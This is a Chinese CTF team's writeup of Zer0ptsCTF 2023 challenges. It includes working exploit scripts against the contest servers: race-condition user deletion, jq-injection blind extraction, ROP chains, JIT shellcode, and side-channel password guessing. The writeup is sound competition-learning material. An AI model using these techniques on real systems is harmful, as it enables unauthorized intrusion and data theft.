2023-07-17 | UNLOCK

2023 Zer0ptsCTF SU Writeup


本次2023 Zer0ptsCTF 是我们SU第一次正式组织参加国际赛,获得全球榜第二十七名,大陆第三名,我们会继续努力,感谢队里师傅们的辛苦付出!同时我们也在持续招人,只要你拥有一颗热爱 CTF 的心,都可以加入我们!欢迎发送个人简介至:suers_xctf@126.com或直接联系书鱼(QQ:381382770)
以下是我们 SU 本次 Zer0ptsCTF writeup

web

Warmuprofile

POST /user/:username/delete 路由存在条件竞争

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
app.post('/user/:username/delete', needAuth, async (req, res) => {
const { username } = req.params;
const { username: loggedInUsername } = req.session;
if (loggedInUsername !== 'admin' && loggedInUsername !== username) {
flash(req, 'general user can only delete itself');
return res.redirect('/');
}

// find user to be deleted
const user = await User.findOne({
where: { username }
});

await User.destroy({
where: { ...user?.dataValues }
});

// user is deleted, so session should be logged out
req.session.destroy();
return res.redirect('/');
});

假设有两个请求,第一个请求正常执行,但其中await User.findOne会有一定的操作延迟
在这个时间内,第二个请求跟进来,sesssion.username 跟 req.param.username 还是一样的,执行到await User.findOne的时候,用户已经被删除了,User.findOne 会返回为 null ,然后 执行 await User.destroy 操作会把所有用户都删了
知晓原理后用BurpSuite扩展 Turbo Intruder 进行条件竞争,删除所有用户
再利用 POST /register 路由创建admin用户,就可以获得flag

参考链接:
https://www.nodejsdesignpatterns.com/blog/node-js-race-conditions/
https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html

jqi

jq_wiki: https://github.com/jqlang/jq/wiki
nodejs调用jq二进制文件解析json,命令注入或者jq的表达式可以利用?
jq官方手册: https://jqlang.github.io/jq/manual/#Formatstringsandescaping
$ENV可以表示环境变量,有字符串插值\(exp)但是\(被过滤了

官方文档还提供base64之类的东西,也许有用吧【 不用管了
利用 \ 逃逸,然后通过data.json中各个字段凑齐base64的标准码表,利用if来盲注环境变量里面的flag即可。
由于双引号被过滤了,单引号又不能表示字符,因此在data.json中把base64中包含的字符串集齐

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
def getstr1():
s = "zer0pts{me$s4g3_p4$$1ng_thru|p1pez_4r3_gr347!83157e16e25aa73f8a1fa1af06ac897a0f47d5be53ebb601953a43b6b3b4ca49}"
# 找不到: i
# 找不到: j
# 找不到: k
# 找不到: l
# 找不到: o
# 找不到: q
# 找不到: v
# 找不到: w
# 找不到: x
# 找不到: y
for i in string.ascii_lowercase:
try:
index = s.index(i)
if s[index].isupper():
print(f'"{i.upper()}": "(.[3].flag[{index}:{index+1}])",')
print(f'"{i}": "(.[3].flag[{index}:{index+1}]|ascii_downcase)",')
else:
print(f'"{i}": "(.[3].flag[{index}:{index+1}])",')
print(f'"{i.upper()}": "(.[3].flag[{index}:{index+1}]|ascii_upcase)",')
except:
pass
# print("找不到: " + i)
def getstr2():
s = "zer0pts{1.Use_@trusted_escapes/2.Use_boundscheck=safeonly/3.Trust_GC}"
for i in "ijkloqvwxy/=":
try:
index = s.index(i)
if s[index].isupper():
print(f'"{i.upper()}": "(.[4].flag[{index}:{index+1}])",')
print(f'"{i}": "(.[4].flag[{index}:{index+1}]|ascii_downcase)",')
else:
print(f'"{i}": "(.[4].flag[{index}:{index+1}])",')
print(f'"{i.upper()}": "(.[4].flag[{index}:{index+1}]|ascii_upcase)",')
except:
pass
# print("找不到: " + i)
# 找不到: q
# 找不到: v
# 找不到: w
# 找不到: x
# 找不到: i
# 找不到: j
def getstr3():
s = "zer0pts{foo/bar/../../../../../directory/traversal}"
for i in "qvwxij":
try:
index = s.index(i)
if s[index].isupper():
print(f'"{i.upper()}": "(.[0].flag[{index}:{index+1}])",')
print(f'"{i}": "(.[0].flag[{index}:{index+1}]|ascii_downcase)",')
else:
print(f'"{i}": "(.[0].flag[{index}:{index+1}])",')
print(f'"{i.upper()}": "(.[0].flag[{index}:{index+1}]|ascii_upcase)",')
except:
pass
# print("找不到: " + i)
# 找不到 q、j
def getstr4():
for i in range(0,10):
print(f'"{i}":"({i}|tostring)",')

最终得出
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
list1 = {
"a": "(.[3].flag[56:57])",
"A": "(.[3].flag[56:57]|ascii_upcase)",
"b": "(.[3].flag[83:84])",
"B": "(.[3].flag[83:84]|ascii_upcase)",
"c": "(.[3].flag[72:73])",
"C": "(.[3].flag[72:73]|ascii_upcase)",
"d": "(.[3].flag[81:82])",
"D": "(.[3].flag[81:82]|ascii_upcase)",
"e": "(.[3].flag[1:2])",
"E": "(.[3].flag[1:2]|ascii_upcase)",
"f": "(.[3].flag[60:61])",
"F": "(.[3].flag[60:61]|ascii_upcase)",
"g": "(.[3].flag[13:14])",
"G": "(.[3].flag[13:14]|ascii_upcase)",
"h": "(.[3].flag[25:26])",
"H": "(.[3].flag[25:26]|ascii_upcase)",
"m": "(.[3].flag[8:9])",
"M": "(.[3].flag[8:9]|ascii_upcase)",
"n": "(.[3].flag[21:22])",
"N": "(.[3].flag[21:22]|ascii_upcase)",
"p": "(.[3].flag[4:5])",
"P": "(.[3].flag[4:5]|ascii_upcase)",
"r": "(.[3].flag[2:3])",
"R": "(.[3].flag[2:3]|ascii_upcase)",
"s": "(.[3].flag[6:7])",
"S": "(.[3].flag[6:7]|ascii_upcase)",
"t": "(.[3].flag[5:6])",
"T": "(.[3].flag[5:6]|ascii_upcase)",
"u": "(.[3].flag[27:28])",
"U": "(.[3].flag[27:28]|ascii_upcase)",
"z": "(.[3].flag[0:1])",
"Z": "(.[3].flag[0:1]|ascii_upcase)",
"k": "(.[4].flag[47:48])",
"K": "(.[4].flag[47:48]|ascii_upcase)",
"l": "(.[4].flag[55:56])",
"L": "(.[4].flag[55:56]|ascii_upcase)",
"o": "(.[4].flag[38:39])",
"O": "(.[4].flag[38:39]|ascii_upcase)",
"y": "(.[4].flag[56:57])",
"Y": "(.[4].flag[56:57]|ascii_upcase)",
"/": "(.[4].flag[30:31])",
"=": "(.[4].flag[48:49])",
"v": "(.[0].flag[44:45])",
"V": "(.[0].flag[44:45]|ascii_upcase)",
"i": "(.[0].flag[32:33])",
"I": "(.[0].flag[32:33]|ascii_upcase)",
"x": "(.[0].name[9:10])", #手动的
"X": "(.[0].name[9:10]|ascii_upcase)",
"w": "(.[0].tags[0][0:1])", #手动的
"W": "(.[0].tags[0][0:1]|ascii_upcase)",
"j": "((8881123345666755|@base64)[17:18])", #手动的
"J": "((8881123345666755|@base64)[17:18]|ascii_upcase)",
"q": "((1|@base64)[1:2]|ascii_downcase)", #手动的
"Q": "((1|@base64)[1:2])",
"0":"(0|tostring)",
"1":"(1|tostring)",
"2":"(2|tostring)",
"3":"(3|tostring)",
"4":"(4|tostring)",
"5":"(5|tostring)",
"6":"(6|tostring)",
"7":"(7|tostring)",
"8":"(8|tostring)",
"9":"(9|tostring)",
}

然后利用halt_error来导致不一样的回显,配合if语句进行盲注即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
import string
import requests

list1 = {
"a": "(.[3].flag[56:57])",
"A": "(.[3].flag[56:57]|ascii_upcase)",
"b": "(.[3].flag[83:84])",
"B": "(.[3].flag[83:84]|ascii_upcase)",
"c": "(.[3].flag[72:73])",
"C": "(.[3].flag[72:73]|ascii_upcase)",
"d": "(.[3].flag[81:82])",
"D": "(.[3].flag[81:82]|ascii_upcase)",
"e": "(.[3].flag[1:2])",
"E": "(.[3].flag[1:2]|ascii_upcase)",
"f": "(.[3].flag[60:61])",
"F": "(.[3].flag[60:61]|ascii_upcase)",
"g": "(.[3].flag[13:14])",
"G": "(.[3].flag[13:14]|ascii_upcase)",
"h": "(.[3].flag[25:26])",
"H": "(.[3].flag[25:26]|ascii_upcase)",
"m": "(.[3].flag[8:9])",
"M": "(.[3].flag[8:9]|ascii_upcase)",
"n": "(.[3].flag[21:22])",
"N": "(.[3].flag[21:22]|ascii_upcase)",
"p": "(.[3].flag[4:5])",
"P": "(.[3].flag[4:5]|ascii_upcase)",
"r": "(.[3].flag[2:3])",
"R": "(.[3].flag[2:3]|ascii_upcase)",
"s": "(.[3].flag[6:7])",
"S": "(.[3].flag[6:7]|ascii_upcase)",
"t": "(.[3].flag[5:6])",
"T": "(.[3].flag[5:6]|ascii_upcase)",
"u": "(.[3].flag[27:28])",
"U": "(.[3].flag[27:28]|ascii_upcase)",
"z": "(.[3].flag[0:1])",
"Z": "(.[3].flag[0:1]|ascii_upcase)",
"k": "(.[4].flag[47:48])",
"K": "(.[4].flag[47:48]|ascii_upcase)",
"l": "(.[4].flag[55:56])",
"L": "(.[4].flag[55:56]|ascii_upcase)",
"o": "(.[4].flag[38:39])",
"O": "(.[4].flag[38:39]|ascii_upcase)",
"y": "(.[4].flag[56:57])",
"Y": "(.[4].flag[56:57]|ascii_upcase)",
"/": "(.[4].flag[30:31])",
"=": "(.[4].flag[48:49])",
"v": "(.[0].flag[44:45])",
"V": "(.[0].flag[44:45]|ascii_upcase)",
"i": "(.[0].flag[32:33])",
"I": "(.[0].flag[32:33]|ascii_upcase)",
"x": "(.[0].name[9:10])", #手动的
"X": "(.[0].name[9:10]|ascii_upcase)",
"w": "(.[0].tags[0][0:1])", #手动的
"W": "(.[0].tags[0][0:1]|ascii_upcase)",
"j": "((8881123345666755|@base64)[17:18])", #手动的
"J": "((8881123345666755|@base64)[17:18]|ascii_upcase)",
"q": "((1|@base64)[1:2]|ascii_downcase)", #手动的
"Q": "((1|@base64)[1:2])",
"0":"(0|tostring)",
"1":"(1|tostring)",
"2":"(2|tostring)",
"3":"(3|tostring)",
"4":"(4|tostring)",
"5":"(5|tostring)",
"6":"(6|tostring)",
"7":"(7|tostring)",
"8":"(8|tostring)",
"9":"(9|tostring)",
}


def test(a,index,c):
url = f"http://jqi.2023.zer0pts.com:8300/api/search?keys=flag&conds=1\%20in%20flag,)|1)]|( if (({a}|@base64)[{index}:{index+1}] == {list1[c]}) then halt_error else 1 end )%23|%20in%20flag"
fh = requests.get(url).text
if not "sorry, you cannot use filters in demo version" in fh:
return True
return False

flagb64 = ""

for j in range(50):
print(j)
for i in string.ascii_letters + "1234567890=/":
if test("env.FLAG",j,i):
flagb64 += i
print(flagb64)
break

Pwn

qjail

看qiling源码
在loader/elf.py里是他的elf加载逻辑
image

根据经验AT_RANDOM的值指向canary

image

往上翻可以看见randstraddr的来源
能够猜+试出来canary是7个a和一个00
elf加载地址在qiling的profile里的linux profile

1
2
3
4
5
6
7
[OS64]
stack_address = 0x7ffffffde000
stack_size = 0x30000
load_address = 0x555555554000
interp_address = 0x7ffff7dd5000
mmap_address = 0x7fffb7dd6000
vsyscall_address = 0xffffffffff600000

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context.arch = 'amd64'
pie = 0x555555554000

sh = process(['./sandbox.py','bin/vuln'])

elf = ELF('bin/vuln',checksec=False)
elf.address = pie
pop_rdi = 0x00000000000012a3 + pie
main = pie + 0x11a9

payload = flat({
0x109:b'a' * 7,
0x118:[
# pop_rdi,
# 0x33,
# pie+0x10c0,
# elf.plt['puts'],
0xdeadbeef
]
},filler=b'\x00')
# payload = b'\x00' * 0x100

sh.sendlineafter(b'something\n',payload)

sh.interactive()

但是目前发现pop rdi会报unicorn的READ error
不太确定libc是不是固定的,还没从源码中看到这部分
重回main好像也不太得劲
qiling启动的是ld,所以之前看到的pie地址其实是ld的,elf在profile里的mmap地址范围
这个结论是通过qiling的gdb server调试观察到的,https://docs.qiling.io/en/latest/debugger/
然后就是直接看出其他段的地址,应该都是不变的
重新算地址,pop rdi,重回main都没问题了
system会有点问题,所以最后orw读flag.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *
context.arch = 'amd64'
pie = 0x7fffb7dd6000
libc_base = 0x7fffb7ddb000

# sh = process(['./sandbox.py','bin/vuln'])
sh = remote('pwn.2023.zer0pts.com','9005')

elf = ELF('bin/vuln',checksec=False)
elf.address = pie
pop_rdi = 0x00000000000012a3 + pie
main = pie + 0x11a9
libc = ELF('lib/libc.so.6',checksec=False)
libc.address = libc_base

pop_rsi = libc_base + 0x000000000002601f
pop_rdx = libc_base + 0x0000000000142c92

str_addr = elf.bss(0x100)
# 0x000000000010257e: pop rcx; pop rbx; ret;
pop_rcx_rbx = libc_base + 0x000000000010257e
# 0x000000000005b622: mov rdi, rax; cmp rdx, rcx; jae 0x5b60c; mov rax, r8; ret;
mov_rdi_rax = libc_base + 0x000000000005b622

buff = elf.bss(0x180)

payload = flat({
0x109:b'a' * 7,
0x118:[
pop_rdi,
0,
pop_rsi,
str_addr,
pop_rdx,
0x30,
libc.sym['read'],

pop_rdi,
str_addr,
pop_rsi,
0,
libc.sym['open'],

pop_rcx_rbx,
0x81,
0,
pop_rdx,
0x80,
pop_rsi,
buff,
mov_rdi_rax,
libc.sym['read'],

pop_rdi,
1,
pop_rsi,
buff,
pop_rdx,
0x80,
libc.sym['write'],

pop_rdi,
0,
libc.sym['exit']
]
},filler=b'\x00')

# pause()

sh.sendlineafter(b'something\n',payload)

pause()

sh.send(b'./flag.txt')

sh.interactive()

Brainjit

Brainfxxk jit编译器
有个功能是为多个连续的操作独立生成汇编,length标识重复长度
image
但是这个32位的length如果最高byte是有符号似乎就会有点问题
不知道是不是漏洞
image
但是经过调试后面这种方法py里check了write写入不能超过0x8000,emmm
貌似只有 ‘ [ ‘ 没有 ‘ ] ‘的时候会出现点问题,可以跳到jz指令的0xff上,跟后面的指令偏一下,但我找了半天没有找到可以合理的偏出想要的指令的
就是上面这种方法做的
但是偏起来挺jb的。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import * 

context.arch = 'amd64'
# sh = process(['./app.py'])

idx = 0
def write(adjust,v,old=0):
d = '>'
if adjust < 0:
d = '<'
adjust = abs(adjust)
payload = d * adjust
if old != None and old > v:
payload += '-' * (old-v)
else:
payload += '+' * (v-old)
return payload
# sc = asm(shellcraft.sh())

# for i in sc:
# print("code += '" + write(1,i) + "'")

code = '[+' + '>' * 0x5558
# pop rax
# push rbp

# shellcode
code += '++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>+++++++++++++++++++++++++++++++++++++++++++++++'
code += '>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>+++++++++++++++++++++++++++++++++++++++++++++++'
code += '>+++++++++++++++++++++++++++++++++++++++++++++++'
code += '>+++++++++++++++++++++++++++++++++++++++++++++++'
code += '>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>+'
code += '>+'
code += '>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>++++++++++++++++++++++++++++++++++++'
code += '>+'
code += '>+'
code += '>+'
code += '>+'
code += '>+++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>++++++++'
code += '>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>+'
code += '>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>+++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
code += '>+++++++++++++++'
code += '>+++++'

code += '>[+' + '>' * 0xc3
# ret

sh = remote('pwn.2023.zer0pts.com','9004')

sh.sendline(code)

sh.interactive()
# zer0pts{Bug_0fT3n_c0M3s_fR0m_L4ck_0f_t3sT_f0r_1nv4L1d_1npuTs}

Re

decompile me

hook了比较函数,把数据替换了,rc4解一下即可
image

mimikyu

程序的核心是用到了libc.so.6、libgmp.so两个so库中的导出函数,寻找指定函数是用到了ResolveModuleFunction函数,其中是采用hash校验的方式获取指定函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
__int64 ResolveModuleFunction(void *a1, int a2, ...)
{
__int64 v2; // rax
__int64 *overflow_arg_area; // rax
int v5; // [rsp+18h] [rbp-158h]
int j; // [rsp+1Ch] [rbp-154h]
int k; // [rsp+20h] [rbp-150h]
int v8; // [rsp+24h] [rbp-14Ch]
__int64 v9; // [rsp+28h] [rbp-148h] BYREF
__int64 v10; // [rsp+30h] [rbp-140h]
__int64 v11; // [rsp+38h] [rbp-138h]
__int64 v12; // [rsp+40h] [rbp-130h]
__int64 *i; // [rsp+48h] [rbp-128h]
unsigned int *v14; // [rsp+50h] [rbp-120h]
char *name; // [rsp+58h] [rbp-118h]
__int64 (__fastcall *v16)(__int64, __int64, __int64, __int64, __int64, __int64); // [rsp+60h] [rbp-110h]
gcc_va_list va; // [rsp+68h] [rbp-108h] BYREF
__int64 v18[8]; // [rsp+80h] [rbp-F0h]

va_start(va, a2);
v18[7] = __readfsqword(0x28u);
v9 = 0LL;
v12 = 0LL;
if ( !(unsigned int)GetModuleInformation(a1, &v9) )
__assert_fail("GetModuleInformation(hModule, &lpmodinfo)", "obfuscate.h", 0x71u, "ResolveModuleFunction");
for ( i = *(__int64 **)(v9 + 16); *i; i += 2 )
{
v2 = *i;
if ( *i == 11 )
{
v5 = i[1];
}
else if ( v2 <= 11 )
{
if ( v2 == 5 )
{
v11 = i[1];
}
else if ( v2 == 6 )
{
v10 = i[1];
}
}
}
dlerror();
v8 = v11 - v10;
for ( j = 0; j < v8 / v5; ++j )
{
v14 = (unsigned int *)(24LL * j + v10);
if ( (v14[1] & 0xF) == 2 )
{
name = (char *)(*v14 + v11);
if ( a2 == (unsigned int)CryptGetHashParam(name) )
{
v16 = (__int64 (__fastcall *)(__int64, __int64, __int64, __int64, __int64, __int64))dlsym(a1, name);
if ( dlerror() )
BUG();
for ( k = 0; k <= 5; ++k )
{
if ( va[0].gp_offset > 0x2F )
{
overflow_arg_area = (__int64 *)va[0].overflow_arg_area;
va[0].overflow_arg_area = (char *)va[0].overflow_arg_area + 8;
}
else
{
overflow_arg_area = (__int64 *)((char *)va[0].reg_save_area + va[0].gp_offset);
va[0].gp_offset += 8;
}
v18[k] = *overflow_arg_area;
}
return v16(v18[0], v18[1], v18[2], v18[3], v18[4], v18[5]);
}
}
}
return v12;
}

首先是定义三个大数空间与初始化随机数种子

image-20230715175448547

接着判断是输入字符是否是可打印字符

image-20230715175543105

然后是获取随机数,并以此使用__gmpz的计算函数计算出两个结果v14,v13,最后将输入以4字节为一组与得到的两个结果进行pow运算,最后与指定密文对比。

因为是指定的确切的随机数种子,所以这个随机数每次都是确定的,另外程序中计算v14、v13的过程稍显复杂,直接调试得到10组v14与v13

image-20230715180244008

image-20230715180226860

得到密文与10组v14与v13后便考虑开始解密了,其实程序用到的就是10组rsa加密,但这个n都不能直接分解为2个质数,

image-20230715180106052

因此考虑爆破。

1
2
3
4
5
6
7
8
9
10
11
12
13
14

enc = [0x00000FE4C025C5F4, 0x00001B792FF17E8A, 0x00000183B156AB40, 0x00000BEFFCF5E5DA, 0x00000297CF86E251, 0x00000EB3EDC1D4B4, 0x000000FA10CE3A08, 0x0000002BDD418672, 0x00005EBB5050EA46, 0x000005BF9B73CF86]
v14 = [61651, 2143, 36451, 33353, 50849, 3181, 44789, 54751, 59021, 62459]
v13 = [38830568246783, 55875622227251, 3875886538523, 18342125763727, 10828735575677, 32860319419313, 17866096656883, 1211339173321, 105059744341817, 76627821322477]

for z in range(10):
for i in range(0x20, 0x7f):
for j in range(0x20, 0x7f):
for k in range(0x20, 0x7f):
for l in range(0x20, 0x7f):
m = int.from_bytes([i, j, k, l], "little")
if(pow(m, v14[z], v13[z]) == enc[z]):
print(bytes([i, j, k, l]))

但是这样很慢,但可以将其拆成10组分别爆破,相当于手动实现了多进程爆破。

比如爆破第二组:

1
2
3
4
5
6
7
8
9
10

enc = [0x00000FE4C025C5F4, 0x00001B792FF17E8A, 0x00000183B156AB40, 0x00000BEFFCF5E5DA, 0x00000297CF86E251, 0x00000EB3EDC1D4B4, 0x000000FA10CE3A08, 0x0000002BDD418672, 0x00005EBB5050EA46, 0x000005BF9B73CF86]

for i in range(0x20, 0x7f):
for j in range(0x20, 0x7f):
for k in range(0x20, 0x7f):
for l in range(0x20, 0x7f):
m = int.from_bytes([i, j, k, l], "little")
if(pow(m, 2143, 55875622227251) == 0x00001B792FF17E8A):
print("2: ", bytes([i, j, k, l]))

结果:

image-20230715180812903

最后所有结果拼接起来

zer0pts{L00k_th3_1nt3rn4l_0f_l1br4r13s!}

Cry

easy_factoring

关系是N = pow(p, 2) + pow(q, 2),类似CCTF2022的SOT。
image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from Crypto.Util.number import *
from pwn import *
def sot(s):
ps = factor(s)
n,n0 = [(1,1)], []
for i in range(1, len(ps)):
for k in range(ps[i][1]):
for j in n:
a, b = j
c, d = two_squares(ps[i][0])
if (a * c + b * d, a * d - b * c) not in n0:
n0.append((a * c + b * d, a * d - b * c))
d, c = two_squares(ps[i][0])
if (a * c + b * d, a * d - b * c) not in n0:
n0.append((a * c + b * d, a * d - b * c))
n,n0=n0,[]
for p,q in n:
if isPrime(p) and isPrime(q):
return p ,q

io = remote('crypto.2023.zer0pts.com',10333)
io.recvuntil(b'N:')
N = int(io.recvline()[:-1])
p,q = sot(N)
print(p,q)
io.sendlineafter(b'p: ',str(p).encode())
io.sendlineafter(b'q: ',str(q).encode())
io.interactive()

Misc

NetFS 1

guest/guest账户可看/home/ctf/public/welcome.txt但
File: /home/ctf/secret/flag.txt
Permission denied.
用侧信道脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import socket

for i in "1234567890abcdef\n":

s = socket.socket()
print("connecting")
s.connect(('misc.2023.zer0pts.com',10021))
print("connected")
s.recv(1024)
s.send(b"admin\n")
s.recv(1024)
s.send(b'dd79efc4093c9326')
s.send(i.encode())
print(i)
s.recv(1024).decode()

NetFS2

增加了延时,不能手动挡了,也是侧信道

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import socket

def test(passwd):
for i in "1234567890abcdef\n":
s = socket.socket()
s.connect(('misc2.2023.zer0pts.com', 10022))
# s.connect(('docker', 6666))
s.recv(1024)
s.send(b"admin\n")
s.recv(1024)
if passwd != "":
s.send(passwd.encode())
s.send(i.encode())
s.send(b'x')
s.recv(1024).decode()
try:
s.recv(1024).decode()
passwd += i
print(passwd)
return passwd
except:
s.close()
pass

def readflag(passwd):
s = socket.socket()
s.connect(('misc2.2023.zer0pts.com', 10022))
print(s.recv(1024))
s.send(b"admin\n")
print(s.recv(1024))
s.send(passwd.encode() + b"\n")
print(s.recv(1024))
print(s.recv(1024))
s.send(b"/home/ctf/secret/flag.txt\n")
print(s.recv(1024))

# passwd = ""
# for i in range(32):
# passwd = test(passwd)


readflag("02872f5ae0819d2f") #读取flag